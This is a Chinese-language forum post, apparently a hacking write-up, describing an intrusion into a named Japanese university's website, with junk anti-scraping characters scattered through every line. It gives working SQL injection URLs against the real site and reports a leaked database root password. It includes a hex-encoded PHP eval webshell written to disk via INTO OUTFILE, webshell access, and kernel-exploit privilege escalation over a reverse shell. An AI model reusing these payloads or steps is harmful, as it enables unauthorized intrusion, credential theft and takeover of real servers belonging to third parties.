入侵日本同志社大学技术分析5 \& i% |) ]: Z& V9 x
( e1 m5 l6 c7 z
http://www.doshisha.ac.jp/chs/news/index.php?i=-1/ q9 E: [4 w/ n6 O" e
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
7 C( \1 Q( F4 Q \7 C% o2 m3 S% p; P- f$ s% \
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
& [1 ]4 J9 n/ @, A/ E$ J! k5 G) u$ B
% p7 q# Z3 G* v: F! V; ~& E, N9 f# i
* C6 O' x& F' I. f; d+ A1 G% C0 E
//@@datadir为数据库文件路径
7 u2 r: E8 q. _ x5 W, {, L! t/ G
8 M0 S4 h( U c: q. G! R3 Z! n//load_file读取网站容器apache的配置文件 ' k/ y4 x6 X5 _3 c* N
x3 t; i Z$ ^. ~9 ^
9 l X5 G; J8 e2 b. G
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
4 ?5 C, G0 B" {8 _( a3 j. o- R复制代码
; P% e( w5 q& T" {
: E6 l0 Q% J6 p/ T4 j3 D虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。8 W% x8 Y8 _; K" i6 w
! T& p+ f4 Q1 d$ w- n0 ~而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
( `3 t# L5 b) c(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)" T+ a: M7 E( O# n0 E
2 b, D6 _5 c/ {! p
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
( S; H5 l6 Q: f8 o3 F6 f1 F9 t如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
3 ]) t) J1 ?4 v" ?' ]7 F4 e# L. O2 w# W5 B7 u
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
3 _+ ?$ a* v0 X$ A% g虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。$ `3 H1 t* \+ m- x' [+ a8 [
直接写一句话:" [: q/ Y- W: x; {
- I3 y1 N5 ?8 y, i5 |1 jhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
4 B% L1 S% { S# K/ t
" B# Q# y0 U% h% u& ~/ y
9 ~$ n! e3 Y. L5 U% K, Q0 s" C3 S9 I$ s' n3 G
//最后的#是为了闭合前面的语句
$ s% W! @2 `- [8 Z* P0 t / I' W4 X6 |8 T8 m4 C
0 v8 X, k, w4 k; n# J" _, o
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 T7 C2 Z/ q1 f. R
/ E8 E" L5 b( U
* W/ l1 e: Z+ E为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
. [; m, d# r" x& F0 J* h ' }$ P' Q2 U& s( F9 V T7 y3 Q
7 `6 ?/ E7 X5 m7 K7 @3 \5 W. H+ E6 n0 r//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
4 L" f9 F# o9 H
# I0 u3 U' v \8 W6 C4 s' ]) ~
/ E9 ] M' l% S/ E6 _4 N//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
5 t4 U! t& S" K2 b2 i4 }" h//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 4 j( F8 A1 Y) n) \. A
复制代码0 G6 ^' D" Y- Q# S8 _) M& u
0 j* y! C f3 ^ H' n, o
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有0 C, u+ v/ g0 y: w6 m8 L4 m
通过上述注入语句,我们就得到了一句话木马:' ~7 x1 N6 M7 ]. w
7 B6 m% J. S( c& A
4 H+ e S- d" o4 V1 x& k! M
( {, }/ e. ^: n' p
{3 q- B! _: ^; u9 m! O, ?. Z$ |/ e7 ]' Q' C" @# R
http://www.doshisha.ac.jp/english/engnews_img/aa.php & q+ p. j7 j2 W3 O% C
复制代码
$ `/ n- B! R) ]1 [8 p7 B# z- |' N/ }- V: m" U e2 D, i
用菜刀连接,密码是cmd,如图所示:/ R+ K5 f8 E. ?3 |
然后在命令提示行里看了一下,现在的权限是:/ J* k3 B% t! U! W9 w
5 R3 h5 a$ C, G( h |! a" b之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。8 u$ F) N6 w7 l1 }) p* \. p
好在赋权给这个文件夹不需要root,直接执行赋权语句:
! a; u2 n9 {: n9 J! F
' U9 n1 F. P: D' B8 z8 y& z' \
" ?9 s+ E6 N; Y. F* s& W
_% L9 E) {* F6 _+ s5 N( L 6 N1 K+ d4 P, [: O# a& c
+ o+ I7 Z Q* f+ U, w
chmod +x /tmp/ ! |% o# K0 R" e( R8 {2 X% R
复制代码
+ A, U) N6 S4 l( j
, i6 d* |# M6 p" [4 _在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
- L2 T# ~4 [" ^; _然后就查了一下内核版本:& X. v" B! f" G: V0 H l( R8 y
3 {- q7 s, b" ^, A9 G 2 ~8 [. Q1 g$ a( \
# u5 E! g3 p9 |3 p" A
2 n R0 S# ]0 m2 x9 X, d( Z4 B
( ^# M/ J) _6 V+ Q# V b* A4 Tuname-a
7 `3 i8 H4 a# w3 G 2 `0 U. R2 l2 |0 x
/ t4 x. w& t. f2 U, W/ ~; m
//其实lsb_release -a
# |! Z- }3 T8 V @. R复制代码/ l9 \- T4 U- z0 _
5 `% h/ v8 q1 Y! f' s' R
如图所示:
- a* f! i: K+ i" Z; C5 z) }# ~! U. p; z
内核版本:linux mainz1 2.6.28-194.e15
" r1 t6 l, {7 U' [" Z系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
4 Z9 o( k% G% V6 o查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
& [) p! a+ J* G% f4 v" y0 c7 p0 ?' {9 [$ I. j" i3 W
然后给予执行权限5 x9 P( h( ]4 n7 d7 E! R
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样# h; J. z: N8 c- R- C! u) g7 l
$ O/ Z7 t* j4 U; g2 i1 c# X
9 `: {, h! C" y1 z( Y6 z# X& ~( |0 y8 ~
+ m* q2 t, b: K( ]5 I: U# ^' m; {
chmod +x /tmp/2.6.18-194
# B' |- Y6 z" x7 F- n/ a V复制代码 然后直接执行!~
' {3 U! w" z+ c ?: C/ |/ c, ~0 V3 ?+ j. C1 Q
总结:4 d z* H( T& r; c3 Y# ]: ?, Q
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
9 ]! B8 o5 P5 g提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root& \7 {1 q q# E, C8 o
) M7 y ^9 G7 }. \" \8 D% t |